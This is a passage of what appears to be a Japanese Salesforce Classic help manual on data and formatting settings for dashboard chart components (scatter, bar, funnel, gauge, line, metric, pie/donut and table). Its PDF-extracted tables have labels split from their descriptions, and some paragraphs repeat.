2. X 軸では、集計項目がない場合はレコード件数を表示し、その他の場合は、最初の集計項目が自動選択さ

れます。集計はさらに有用となり、グラフには [合計成立金額] が表示されます。
3. このY-軸には、手動で選択された集計項目 [平均年間売上] が表示されています。
4. デフォルトでは、グループ化単位は設定されていません。レポートに他のグルーピングがあるため、グラ

フでは手動で選択した [商談所有者]グルーピングでさらにデータがグループ化されます。グラフおよび凡
例の色付けされた点はこのグルーピングを示します。

ダッシュボードのコンポーネントの種類の散布図には、次の制限があります。
• 表形式レポートは表示されません。
• 表示ラベルまたは値で並び替えできません。
• 変更できるのは Y 軸の単位の表示方法のみです。
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• 手動で定義できるのは Y 軸の範囲のみです。

関連トピック:

グラフの種類
ダッシュボードコンポーネントの変更
ダッシュボード散布図コンポーネントのデータ設定
ダッシュボードの散布図グラフコンポーネントの書式設定
ダッシュボード散布図コンポーネントのデータ設定
ダッシュボードの散布図グラフコンポーネントの書式設定

ダッシュボードのグラフコンポーネントのデータ設定
レポートグラフまたはダッシュボードグラフに表示するデータを選択します。グラフでは、レポートから自動
的にグルーピングとサマリー値が選択されます。これらの選択を上書きして、共有が必要なデータに焦点を当
てることができます。

1. 散布図
1 つまたは 2 つのグループのレポートデータと集計を使用した役に立つ情報を表示するには、散布図を使用
します。

2. ダッシュボードの横棒および縦棒グラフコンポーネントのデータ設定
横棒グラフと縦棒グラフは、1 つ以上のレポートグループの値を比較する場合に有用です。[コンポーネン
トデータ] タブを使用して、縦棒または横棒グラフに表示するグループと集計を選択します。

3. ダッシュボードのじょうごグラフコンポーネントのデータ設定
じょうごグラフは、複数のフェーズを通じた商談の流れを表示する場合に有用です。

4. ダッシュボード散布図コンポーネントのデータ設定
散布図には、1 つまたは 2 つのグループのレポートデータと集計が表示され便利です。散布図のこれらの
データ設定は、[コンポーネントデータ] の下にあるダッシュボードコンポーネントエディタで使用できま
す。

5. ダッシュボードのゲージコンポーネントのデータ設定
ゲージは、ゴール達成までの距離を表示するために使用されます。クローズした案件など、単一値を表示
します。

6. ダッシュボードの折れ線グラフコンポーネントのデータ設定
折れ線グラフは、経時的なデータを表示する場合に有用です。

7. ダッシュボードの総計値コンポーネントのデータ設定
[コンポーネントデータ] タブの設定で、ダッシュボード総計値コンポーネントが表示データをどのように
取得し、管理するかを定義します。

8. ダッシュボードの円およびドーナツグラフコンポーネントのデータ設定
円グラフまたはドーナツグラフは、さまざまな数量の相対的な構成比を表示するのに適しています。[コン
ポーネントデータ] タブを使用して、円グラフまたはドーナツグラフで比較する値を選択します。
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9. ダッシュボードのテーブルコンポーネントのデータ設定
テーブルコンポーネントには、ダッシュボードのカスタムレポートからデータの列が表示されます。[コン
ポーネントデータ] タブの設定で、テーブルコンポーネントが表示データをどのように取得し、管理するか
を制御します。

散布図
1 つまたは 2 つのグループのレポートデータと集計を使用した役に立つ情報を表示するには、散布図を使用し
ます。

たとえば、フェーズ滞在期間と商談の活動数との相関関係を表示するには、[商談名] でレポートをグループ
分類し、そのグルーピングで散布図をプロットします。続いて、グラフの [X 軸]を [レコード件数]、[Y 軸]

を [フェーズ滞在期間] に設定します。グラフには、商談ごとに点が 1 つ表示されます。活動数が多い商談ほ
どフェーズ滞在期間が短くなるかどうかを一目で把握できます。
散布図には、集計値でグループ化されたデータが表示されるため、レポートには少なくとも 1 つのグループ化
が必要です。サマリー、マトリックス、結合など、グループ化が可能なレポート形式を選択します。また、グ
ラフの軸にデータを表示するために、レポートには少なくとも 1 つの集計項目が必要です。集計項目がない
と、グラフの軸にはレコード件数が表示されます。散布図では、ソースレポートから自動的にデータが表示さ
れます。または、グループ化および集計で表示する情報を手動で選択できます。

Y-軸に自動的に表示されるデータX-軸に自動的に表示されるデータソースレポートに含まれる項目

レコード件数。レコード件数。集計項目なし

最初の集計。1 つ以上の集計項目 • レコード件数か、レポートグラ
フの 2 番目の集計。

• ソースレポートに複数の集計が
ある場合でも、ダッシュボード
グラフの最初の集計。ただし、
軸に表示する別の集計を手動で
選択できます。

これは取引先および商談所有者ごとにグループ化された完了した成立商談に関するレポートです。散布図は年
間売上がより高い取引先を開拓できる可能性を示すことができます。
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このグラフは次のいくつかの主要な項目を基に作成されています。
1. プロット単位では、最初のレポートグルーピングが自動的に選択されます。[取引先名]が獲得した商談を

表示するには 2 番目のグルーピングを手動で選択します。
2. X 軸では、集計項目がない場合はレコード件数を表示し、その他の場合は、最初の集計項目が自動選択さ

れます。集計はさらに有用となり、グラフには [合計成立金額] が表示されます。
3. このY-軸には、手動で選択された集計項目 [平均年間売上] が表示されています。
4. デフォルトでは、グループ化単位は設定されていません。レポートに他のグルーピングがあるため、グラ

フでは手動で選択した [商談所有者]グルーピングでさらにデータがグループ化されます。グラフおよび凡
例の色付けされた点はこのグルーピングを示します。

ダッシュボードのコンポーネントの種類の散布図には、次の制限があります。
• 表形式レポートは表示されません。
• 表示ラベルまたは値で並び替えできません。
• 変更できるのは Y 軸の単位の表示方法のみです。
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• 手動で定義できるのは Y 軸の範囲のみです。

関連トピック:

グラフの種類
ダッシュボードコンポーネントの変更
ダッシュボード散布図コンポーネントのデータ設定
ダッシュボードの散布図グラフコンポーネントの書式設定
ダッシュボード散布図コンポーネントのデータ設定
ダッシュボードの散布図グラフコンポーネントの書式設定

ダッシュボードの横棒および縦棒グラフコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

横棒グラフと縦棒グラフは、1 つ以上のレポートグループの値を比較する場合に
有用です。[コンポーネントデータ] タブを使用して、縦棒または横棒グラフに表
示するグループと集計を選択します。
グラフの軸上に表示する値を選択します。グラフの種類に従って、軸の値は、
レポート内で定義されているレコード数、集計項目、またはグルーピングにな
ります。たとえば、各販売フェーズの金額をレポートに表示するには、[X 軸]

として [合計金額]、[Y 軸] として [フェーズ] を選択します。グラフには、
フェーズごとに横棒が 1 本ずつ表示され、棒の長さは商談金額の合計に比例し
ます。

説明設定

横棒グラフ、縦棒グラフ、散布図、折れ線グラフの横軸上に表示す
る値を選択します。グラフの種類に応じて、軸の値は集計項目また

X 軸

はグループにまとめることができます。ソースレポートのグラフで
定義された 2 つ目のグルーピング項目または集計項目を使用するに
は、[自動] を選択します。ソースレポートにグラフが含まれる場
合、[自動] でグラフで使用している値が選択されます。[この数式を
どこに表示しますか?] オプションが [すべての集計レベル] 以外のグ
ループ化レベルに設定されているカスタム集計項目に X 軸が対応し
ている場合、Y 軸と [グルーピング] の選択はそのカスタム集計項目の
グループ化レベルに対応する必要があります。

横棒グラフ、縦棒グラフ、散布図、折れ線グラフの縦軸上に表示す
る値を選択します。グラフの種類に応じて、軸の値は集計項目また

Y 軸

はグループにまとめることができます。ソースレポートのグラフで
定義された 2 つ目のグルーピング項目または集計項目を使用するに
は、[自動] を選択します。ソースレポートにグラフが含まれる場
合、[自動] でグラフで使用している値が選択されます。[この数式を
どこに表示しますか?] オプションが [すべての集計レベル] 以外のグ
ルーピングレベルに設定されているカスタム集計項目に Y 軸が対応
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説明設定

している場合、X 軸とグルーピング選択はカスタム集計項目のグルーピングレベルに対応する
必要があります。

グラフで情報をグループ化する方法を選択します。このオプションは、基礎となるレポートで
グループ化が複数使用されている場合にのみ使用できます。ソースレポートのグラフで定義さ
れた 2 つ目のグルーピング項目または集計項目を使用するには、[自動] を選択します。

グループ化
単位

対象のグラフに追加の値を描画するには、このオプションを使用します。選択したグラフの種
類で組み合わせグラフが許可されている必要があります。

組み合わせ
グラフ

グラフ値を表示する単位を選択します。テーブルコンポーネントの場合、この設定は最初の列
にのみ適用されます。最も適した結果を得るために、最適なユニットをSalesforceに選択させる
には、[自動] を選択します。

表示単位

ユーザがダッシュボードコンポーネントをクリックしたときの移動先を選択します。ダッシュ
ボードコンポーネントのフルソースレポート、ユーザがクリックしたグループ、X 軸値、また

ドリルダウ
ン先

は凡例エントリで絞り込まれたソースレポート、グラフ要素、テーブル要素、軸値、または凡
例エントリの詳細ページ、指定した URL のいずれかを選択できます (「mailto:」または「javascript:」
で始まる URL は使用できません)。条件設定済みおよびレコード詳細ページドリルダウンは、200

個を超える値のあるダッシュボードグラフを表示する場合には使用できません。

関連トピック:

ダッシュボードの棒グラフコンポーネントの書式設定

ダッシュボードのじょうごグラフコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

じょうごグラフは、複数のフェーズを通じた商談の流れを表示する場合に有用
です。
グラフの軸上に表示する値を選択します。グラフの種類に従って、軸の値は、
レポート内で定義されているレコード数、集計項目、またはグルーピングにな
ります。

説明設定

グラフ値を表示する単位を選択します。テーブルコンポーネント
の場合、この設定は最初の列にのみ適用されます。最も適した結
果を得るために、最適なユニットをSalesforceに選択させるには、
[自動] を選択します。

表示単位

ユーザがダッシュボードコンポーネントをクリックしたときの移
動先を選択します。ダッシュボードコンポーネントのフルソース

ドリルダウ
ン先

レポート、ユーザがクリックしたグループ、X 軸値、または凡例
エントリで絞り込まれたソースレポート、グラフ要素、テーブル
要素、軸値、または凡例エントリの詳細ページ、指定した URL の
いずれかを選択できます (「mailto:」または「javascript:」で始まる
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説明設定

URL は使用できません)。条件設定済みおよびレコード詳細ページドリルダウンは、200 個
を超える値のあるダッシュボードグラフを表示する場合には使用できません。

円グラフ、ドーナツグラフ、じょうごグラフ、ゲージ、または総計値に値として何を表示
するかを選択します。ソースレポートのグラフで定義された 2 つ目のグルーピング項目ま

値

たは集計項目を使用するには、[自動]を選択します。ソースレポートにグラフが含まれる
場合、[自動] でグラフで使用している値が選択されます。ゲージと総計値では、[自動] では
最初の集計項目の値が表示されます。

じょうごグラフに区分として何を表示するか選択します。ソースレポートのグラフで定義
された 2 つ目のグルーピング項目または集計項目を使用するには、[自動]を選択します。

区分

ソースレポートにグラフが含まれる場合、[自動] でグラフで使用している値が選択されま
す。

関連トピック:

じょうごダッシュボードコンポーネントの書式設定

ダッシュボード散布図コンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

散布図には、1 つまたは 2 つのグループのレポートデータと集計が表示され便利
です。散布図のこれらのデータ設定は、[コンポーネントデータ]の下にあるダッ
シュボードコンポーネントエディタで使用できます。
表示されるデータをユーザが理解しやすいように、スケールをグループ化して
設定します。

説明設定

グラフで表示するグループを選択します。常に最初のグループ
を使用するか、またはソースレポートのグラフの内容を使用す
るには、[自動] を選択します。

プロット単位

横軸上に表示する値を選択します。X 軸

横棒グラフ、縦棒グラフ、散布図、折れ線グラフの縦軸上に表
示する値を選択します。グラフの種類に応じて、軸の値は集計

Y 軸

項目またはグループにまとめることができます。ソースレポー
トのグラフで定義された 2 つ目のグルーピング項目または集計
項目を使用するには、[自動] を選択します。ソースレポート
にグラフが含まれる場合、[自動] でグラフで使用している値が
選択されます。[この数式をどこに表示しますか?] オプション
が [すべての集計レベル] 以外のグルーピングレベルに設定さ
れているカスタム集計項目に Y 軸が対応している場合、X 軸と
グルーピング選択はカスタム集計項目のグルーピングレベルに
対応する必要があります。
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説明設定

グラフで情報をグループ化する方法を選択します。このオプションは、基礎となるレ
ポートでグループ化が複数使用されている場合にのみ使用できます。ソースレポート

グループ化単位

のグラフで定義された 2 つ目のグルーピング項目または集計項目を使用するには、[自
動] を選択します。

グラフの Y 軸に表示する値の測定単位を変更します。表示単位

グラフをクリックするとユーザが移動する場所を選択します。オプションにはソース
レポート、条件設定済みソースレポート、レコード詳細ページ、または指定の URL が

ドリルダウン先

あります。条件設定済みレポートオプションおよびレコード詳細ページのオプション
は、グラフに 200 個を超える値がある場合は使用できません。

関連トピック:

散布図
ダッシュボードコンポーネントの変更
ダッシュボードの散布図グラフコンポーネントの書式設定

ダッシュボードのゲージコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ゲージは、ゴール達成までの距離を表示するために使用されます。クローズし
た案件など、単一値を表示します。

説明設定

円グラフ、ドーナツグラフ、じょうごグラフ、ゲージ、または総
計値に値として何を表示するかを選択します。ソースレポートの
グラフで定義された 2 つ目のグルーピング項目または集計項目を
使用するには、[自動] を選択します。ソースレポートにグラフ
が含まれる場合、[自動] でグラフで使用している値が選択されま
す。ゲージと総計値では、[自動] では最初の集計項目の値が表示
されます。

値

グラフ値を表示する単位を選択します。テーブルコンポーネント
の場合、この設定は最初の列にのみ適用されます。最も適した結

表示単位

果を得るために、最適なユニットをSalesforceに選択させるには、
[自動] を選択します。

ユーザがダッシュボードコンポーネントをクリックしたときの移
動先を選択します。ダッシュボードコンポーネントのフルソース

ドリルダウ
ン先

レポート、ユーザがクリックしたグループ、X 軸値、または凡例
エントリで絞り込まれたソースレポート、グラフ要素、テーブル
要素、軸値、または凡例エントリの詳細ページ、指定した URL の
いずれかを選択できます (「mailto:」または「javascript:」で始まる
URL は使用できません)。条件設定済みおよびレコード詳細ページ
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説明設定

ドリルダウンは、200 個を超える値のあるダッシュボードグラフを表示する場合には使用
できません。

関連トピック:

ダッシュボードのゲージコンポーネントの書式設定

ダッシュボードの折れ線グラフコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

折れ線グラフは、経時的なデータを表示する場合に有用です。
たとえば、毎月作成されるリード数をレポートに表示するには、レコード件数
を [Y 軸]、作成月を [X 軸] として設定します。グラフには、各月のレコード
件数の合計に関連付けられた折れ線が 1 本表示されます。

説明設定

横棒グラフ、縦棒グラフ、散布図、折れ線グラフの
縦軸上に表示する値を選択します。グラフの種類に
応じて、軸の値は集計項目またはグループにまとめ
ることができます。ソースレポートのグラフで定義
された 2 つ目のグルーピング項目または集計項目を

Y 軸

使用するには、[自動]を選択します。ソースレポー
トにグラフが含まれる場合、[自動] でグラフで使用
している値が選択されます。[この数式をどこに表示
しますか?] オプションが [すべての集計レベル] 以
外のグルーピングレベルに設定されているカスタム
集計項目に Y 軸が対応している場合、X 軸とグルー
ピング選択はカスタム集計項目のグルーピングレベ
ルに対応する必要があります。

横棒グラフ、縦棒グラフ、散布図、折れ線グラフの
横軸上に表示する値を選択します。グラフの種類に

X 軸

応じて、軸の値は集計項目またはグループにまとめ
ることができます。ソースレポートのグラフで定義
された 2 つ目のグルーピング項目または集計項目を
使用するには、[自動]を選択します。ソースレポー
トにグラフが含まれる場合、[自動] でグラフで使用
している値が選択されます。[この数式をどこに表示
しますか?] オプションが [すべての集計レベル] 以
外のグループ化レベルに設定されているカスタム集
計項目に X 軸が対応している場合、Y 軸と [グルーピ
ング] の選択はそのカスタム集計項目のグループ化
レベルに対応する必要があります。
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説明設定

グラフで情報をグループ化する方法を選択します。このオプションは、
基礎となるレポートでグループ化が複数使用されている場合にのみ使用

グループ化単位

できます。ソースレポートのグラフで定義された 2 つ目のグルーピング
項目または集計項目を使用するには、[自動] を選択します。

対象のグラフに追加の値を描画するには、このオプションを使用しま
す。選択したグラフの種類で組み合わせグラフが許可されている必要が
あります。

組み合わせグラフ

グラフ値を表示する単位を選択します。テーブルコンポーネントの場
合、この設定は最初の列にのみ適用されます。最も適した結果を得るた

表示単位

めに、最適なユニットを Salesforceに選択させるには、[自動] を選択しま
す。

ユーザがダッシュボードコンポーネントをクリックしたときの移動先を
選択します。ダッシュボードコンポーネントのフルソースレポート、

ドリルダウン先

ユーザがクリックしたグループ、X 軸値、または凡例エントリで絞り込
まれたソースレポート、グラフ要素、テーブル要素、軸値、または凡例
エントリの詳細ページ、指定した URL のいずれかを選択できます
(「mailto:」または「javascript:」で始まる URL は使用できません)。条件設
定済みおよびレコード詳細ページドリルダウンは、200 個を超える値の
あるダッシュボードグラフを表示する場合には使用できません。

関連トピック:

ダッシュボードの折れ線グラフコンポーネントの書式設定

ダッシュボードの総計値コンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[コンポーネントデータ] タブの設定で、ダッシュボード総計値コンポーネントが
表示データをどのように取得し、管理するかを定義します。

説明設定

円グラフ、ドーナツグラフ、じょうごグラフ、ゲージ、または総
計値に値として何を表示するかを選択します。ソースレポートの
グラフで定義された 2 つ目のグルーピング項目または集計項目を
使用するには、[自動] を選択します。ソースレポートにグラフ
が含まれる場合、[自動] でグラフで使用している値が選択されま
す。ゲージと総計値では、[自動] では最初の集計項目の値が表示
されます。

値

グラフ値を表示する単位を選択します。テーブルコンポーネント
の場合、この設定は最初の列にのみ適用されます。最も適した結

表示単位

果を得るために、最適なユニットをSalesforceに選択させるには、
[自動] を選択します。
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説明設定

ユーザがダッシュボードコンポーネントをクリックしたときの移動先を選択します。ダッ
シュボードコンポーネントのフルソースレポート、ユーザがクリックしたグループ、X 軸

ドリルダウン先

値、または凡例エントリで絞り込まれたソースレポート、グラフ要素、テーブル要素、軸
値、または凡例エントリの詳細ページ、指定した URL のいずれかを選択できます (「mailto:」
または「javascript:」で始まる URL は使用できません)。条件設定済みおよびレコード詳細ペー
ジドリルダウンは、200 個を超える値のあるダッシュボードグラフを表示する場合には使
用できません。

関連トピック:

ダッシュボードの総計値コンポーネントの書式設定

ダッシュボードの円およびドーナツグラフコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

円グラフまたはドーナツグラフは、さまざまな数量の相対的な構成比を表示す
るのに適しています。[コンポーネントデータ] タブを使用して、円グラフまたは
ドーナツグラフで比較する値を選択します。
円グラフは、複数のグループが存在し、合計に対する各グループの個別値の比
率を表示する場合に使用します。
たとえば、ケース状況別のケースキューの分類をレポートに表示するには、[値]

を表すレコード件数と[系列]を表す状況を設定します。グラフには、系列で構
成された円が表示され、各系列はあるケース状況のケースを示します。

説明設定

円グラフ、ドーナツグラフ、じょうごグラフ、ゲージ、また
は総計値に値として何を表示するかを選択します。ソースレ

値

ポートのグラフで定義された 2 つ目のグルーピング項目または
集計項目を使用するには、[自動]を選択します。ソースレポー
トにグラフが含まれる場合、[自動] でグラフで使用している値
が選択されます。ゲージと総計値では、[自動] では最初の集計
項目の値が表示されます。

円グラフまたはドーナツグラフに系列として何を表示するか
選択します。ソースレポートのグラフで定義された 2 つ目のグ

系列

ルーピング項目または集計項目を使用するには、[自動] を選
択します。ソースレポートにグラフが含まれる場合、[自動] で
グラフで使用している値が選択されます。

グラフ値を表示する単位を選択します。テーブルコンポーネ
ントの場合、この設定は最初の列にのみ適用されます。最も

表示単位

適した結果を得るために、最適なユニットを Salesforce に選択
させるには、[自動] を選択します。

5077

ダッシュボード分析



説明設定

ユーザがダッシュボードコンポーネントをクリックしたときの移動先を選択します。
ダッシュボードコンポーネントのフルソースレポート、ユーザがクリックしたグルー

ドリルダウン先

プ、X 軸値、または凡例エントリで絞り込まれたソースレポート、グラフ要素、テー
ブル要素、軸値、または凡例エントリの詳細ページ、指定した URL のいずれかを選択
できます (「mailto:」または「javascript:」で始まる URL は使用できません)。条件設定済
みおよびレコード詳細ページドリルダウンは、200 個を超える値のあるダッシュボー
ドグラフを表示する場合には使用できません。

関連トピック:

円およびドーナツダッシュボードコンポーネントの書式設定

ダッシュボードのテーブルコンポーネントのデータ設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テーブルコンポーネントには、ダッシュボードのカスタムレポートからデータ
の列が表示されます。[コンポーネントデータ] タブの設定で、テーブルコンポー
ネントが表示データをどのように取得し、管理するかを制御します。

説明項目

グラフ値を表示する単位を選択します。テーブルコンポーネン
トの場合、この設定は最初の列にのみ適用されます。最も適し
た結果を得るために、最適なユニットを Salesforce に選択させる
には、[自動] を選択します。

表示単位

ユーザがダッシュボードコンポーネントをクリックしたときの
移動先を選択します。ダッシュボードコンポーネントのフルソー

ドリルダウン
先

スレポート、ユーザがクリックしたグループ、X 軸値、または凡
例エントリで絞り込まれたソースレポート、グラフ要素、テー
ブル要素、軸値、または凡例エントリの詳細ページ、指定した
URL のいずれかを選択できます (「mailto:」または「javascript:」で
始まる URL は使用できません)。条件設定済みおよびレコード詳
細ページドリルダウンは、200 個を超える値のあるダッシュボー
ドグラフを表示する場合には使用できません。

関連トピック:

ダッシュボードのテーブルコンポーネントの書式設定

ダッシュボードのグラフコンポーネントのビジュアル設定
共有するデータに適したグラフの種類を選択し、データを最も効果的に伝えるビジュアル設定を適用します。
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1. ダッシュボードの棒グラフコンポーネントの書式設定
横棒グラフと縦棒グラフは、1 つ以上のレポートグループの値を比較する場合に有用です。表示されるデー
タを理解しやすいように、スケールと並び替えを設定します。

2. じょうごダッシュボードコンポーネントの書式設定
色を使用して、じょうごグラフで複数のフェーズを通じた値の状況を表示します。

3. ダッシュボードの散布図グラフコンポーネントの書式設定
散布図には、1 つまたは 2 つのグループのレポートデータと集計が表示され便利です。散布図のこれらの設
定は、[フォーマッティング] の下にあるダッシュボードコンポーネントエディタで使用できます。

4. ダッシュボードのゲージコンポーネントの書式設定
追跡している項目の現在の値をユーザが解釈しやすいように、ゲージコンポーネントの区切り点と色を設
定します。

5. ダッシュボードの折れ線グラフコンポーネントの書式設定
折れ線グラフは、経時的なデータを表示する場合に有用です。折れ線グラフのデータをユーザが理解しや
すいように、並び替えとスケールを設定します。

6. ダッシュボードの総計値コンポーネントの書式設定
総計値コンポーネントは、ある時点の 1 つの値を表示します。ユーザが総計値コンポーネントのデータを
理解しやすいように、色を使用します。

7. 円およびドーナツダッシュボードコンポーネントの書式設定
円グラフは、さまざまな数量の相対的な構成比を表示するのに適しています。[フォーマッティング] タブ
を使用して、円グラフの各区分の設定方法と表示ラベルを選択します。

8. ダッシュボードのテーブルコンポーネントの書式設定
テーブルコンポーネントには、ダッシュボードのカスタムレポートからデータの列が表示されます。テー
ブルに表示されるレポートデータをユーザが解釈しやすいように、色とスケールを使用できます。

ダッシュボードの棒グラフコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

横棒グラフと縦棒グラフは、1 つ以上のレポートグループの値を比較する場合に
有用です。表示されるデータを理解しやすいように、スケールと並び替えを設
定します。

説明設定

並び替えの基準になる要素を選択して、横棒グラフの横軸、ま
たは縦棒グラフの縦軸で最初に表示する要素を決定します。
テーブルの場合、行のラベルまたは値で昇順または降順となる
ように、デフォルトの 2 列テーブルの並び替え順を選択しま
す。

行を並び替え

横棒グラフの横軸、縦棒グラフの縦軸、または積み上げ棒グラ
フの選択した軸の最上位グループに含める要素の最大数を設定

表示する最大
件数

します。テーブルの場合、含める最大行数を設定します。たと
えば、上位 5 名の営業担当者のみを表示する場合は、所有者別
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説明設定

の合計商談額を表す商談レポートを作成し、この項目に「5」と入力します。

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

ユーザまたはグループの名前項目によってソースレポートがグループ化されている横
棒グラフコンポーネントに、最大 20レコードのChatter写真を表示します。写真を含む

Chatter 写真を表示

レコードが20件より多くある場合は、写真ではなくレコード名が表示されます。写真
を表示するには、[グルーピング表示] で [なし] に設定します。[ドリルダウン先] オ
プションを [レコード詳細ページ]に設定すると、写真をクリックしたときにユーザプ
ロファイルやグループページに直接移動できます。写真を表示するには、Chatter を有
効にする必要があります。組織の設定に応じて、テーブルやグラフで写真が表示され
ない場合があります。

グラフの個々のレコードまたはグループの値を表示します。これは、特定のグラフの
種類にのみ適用されます。

値を表示

グラフ上にマウスを置いたときに、値、ラベル、およびパーセントを表示します。詳
細のフロート表示はグラフの種類によって異なります。パーセントは、円グラフ、ドー

フロート表示を有効
化

ナツグラフ、およびじょうごグラフのみに適用されます。グラフのデータポイントが
200 個を超える場合、フロート表示は無効になります。

じょうごダッシュボードコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

色を使用して、じょうごグラフで複数のフェーズを通じた値の状況を表示しま
す。

説明設定

並び替えの基準になる要素を選択して、横棒グラフの横
軸、または縦棒グラフの縦軸で最初に表示する要素を決定
します。テーブルの場合、行のラベルまたは値で昇順また
は降順となるように、デフォルトの 2 列テーブルの並び替
え順を選択します。

行を並び替え

横棒グラフの横軸、縦棒グラフの縦軸、または積み上げ棒
グラフの選択した軸の最上位グループに含める要素の最大

表示する最大件数

数を設定します。テーブルの場合、含める最大行数を設定
します。たとえば、上位 5 名の営業担当者のみを表示する
場合は、所有者別の合計商談額を表す商談レポートを作成
し、この項目に「5」と入力します。

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

カスタムテーブルを作成するには、このリンクをクリック
します。[表示する最大件数] 項目に入力した値が投入さ

小グループを「そ
の他」グループと
組み合わせる れ、最初の 2 つの列には、デフォルトの列が自動入力され

ます。テーブルをカスタマイズするには、ソースレポート
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説明設定

は集計またはマトリックス形式であり、グラフが含まれている必要があります。

グラフの個々のレコードまたはグループの値を表示します。これは、特定のグラ
フの種類にのみ適用されます。

値を表示

じょうごグラフの各区分のパーセント値を表示します。区分の表示 (%)

グラフ上にマウスを置いたときに、値、ラベル、およびパーセントを表示します。
詳細のフロート表示はグラフの種類によって異なります。パーセントは、円グラ

フロート表示を有効化

フ、ドーナツグラフ、およびじょうごグラフのみに適用されます。グラフのデー
タポイントが 200 個を超える場合、フロート表示は無効になります。

ダッシュボードの散布図グラフコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

散布図には、1 つまたは 2 つのグループのレポートデータと集計が表示され便利
です。散布図のこれらの設定は、[フォーマッティング]の下にあるダッシュボー
ドコンポーネントエディタで使用できます。
次の設定を使用して、ダッシュボードの散布図に表示されるデータを微調整し
ます。

説明設定

現在、並び替えは使用できません。行を並び替え

グラフに表示するドットの最大数を選択します。たとえば、5

と設定した場合は、グラフに 5 個のドットが表示されます。こ
れらは、散布図の [プロット単位] 項目で使用されているグルー
プの昇順で上位 5 個の値です。

表示する最大
件数

自動範囲を保持するか、手動で範囲を設定し、Y 軸範囲の最小
および最大の値を入力します。これらの値が手動で設定した範

軸範囲

囲外である場合は、Y 軸はこれらの値を含むように拡張されま
す。

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

グラフ上にマウスを置いたときに、値またはラベルを表示しま
す。

詳細のフロート
表示
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ダッシュボードのゲージコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

追跡している項目の現在の値をユーザが解釈しやすいように、ゲージコンポー
ネントの区切り点と色を設定します。
必要に応じて、最大 3 個の値の範囲と色を定義して条件付き強調表示を設定し
ます。スケールの最小値と最大値も設定する必要があります。強調表示を設定
してコンポーネントをフォローし、値がしきい値に達したら Chatter フィードで
アラートを受け取るようにする必要があります。

説明設定

グラフの最小値です。最小

最初のブレークポイントまでの低い数値範囲を示す色を選択しま
す。

ローレンジ
の色

ダッシュボード上でミドルレンジの色とハイレンジの色を分割す
る値です。

ブレークポ
イント 1

最初のブレークポインと 2 番目のブレークポイントのミドルレン
ジを示す色を選択します。

ミドルレン
ジの色

グラフをレポートの上か下に置きます。ブレークポ
イント 2

2 番目のブレークポイントまでの高い数値範囲を示す色を選択し
ます。

ハイレンジ
の色

グラフの最大値です。最大

円グラフおよびドーナツグラフの各系列、またはじょうごグラフ
の各区分のパーセント値を表示します。ゲージの場合、針が指し
ている点のパーセント値を表示します。

% を表示

グラフの合計値を表示します。テーブルの場合、数値項目および
現在の集計項目の合計を含めます。

合計を表示

関連トピック:

ダッシュボードコンポーネントの変更
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ダッシュボードの折れ線グラフコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

折れ線グラフは、経時的なデータを表示する場合に有用です。折れ線グラフの
データをユーザが理解しやすいように、並び替えとスケールを設定します。

説明設定

並び替えの基準になる要素を選択して、横棒グラフの横軸、
または縦棒グラフの縦軸で最初に表示する要素を決定します。
テーブルの場合、行のラベルまたは値で昇順または降順とな
るように、デフォルトの 2 列テーブルの並び替え順を選択しま
す。

行を並び替え

横棒グラフの横軸、縦棒グラフの縦軸、または積み上げ棒グ
ラフの選択した軸の最上位グループに含める要素の最大数を

表示する最大件
数

設定します。テーブルの場合、含める最大行数を設定します。
たとえば、上位 5 名の営業担当者のみを表示する場合は、所有
者別の合計商談額を表す商談レポートを作成し、この項目に
「5」と入力します。

棒グラフ、折れ線グラフ、または縦棒グラフの縦軸の軸の範
囲を手動、自動のどちらで設定するかを選択します。手動で

Y 軸の範囲

設定する場合は、表示する軸の最大値および最小値を入力し
ます。設定した範囲外にデータポイントがあると、グラフの
生成時にそうした値も含まれるように軸が自動的に拡張され
ます。

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

グラフ上にマウスを置いたときに、値、ラベル、およびパー
セントを表示します。詳細のフロート表示はグラフの種類に

フロート表示を
有効化

よって異なります。パーセントは、円グラフ、ドーナツグラ
フ、およびじょうごグラフのみに適用されます。グラフのデー
タポイントが 200 個を超える場合、フロート表示は無効になり
ます。

ダッシュボードの総計値コンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

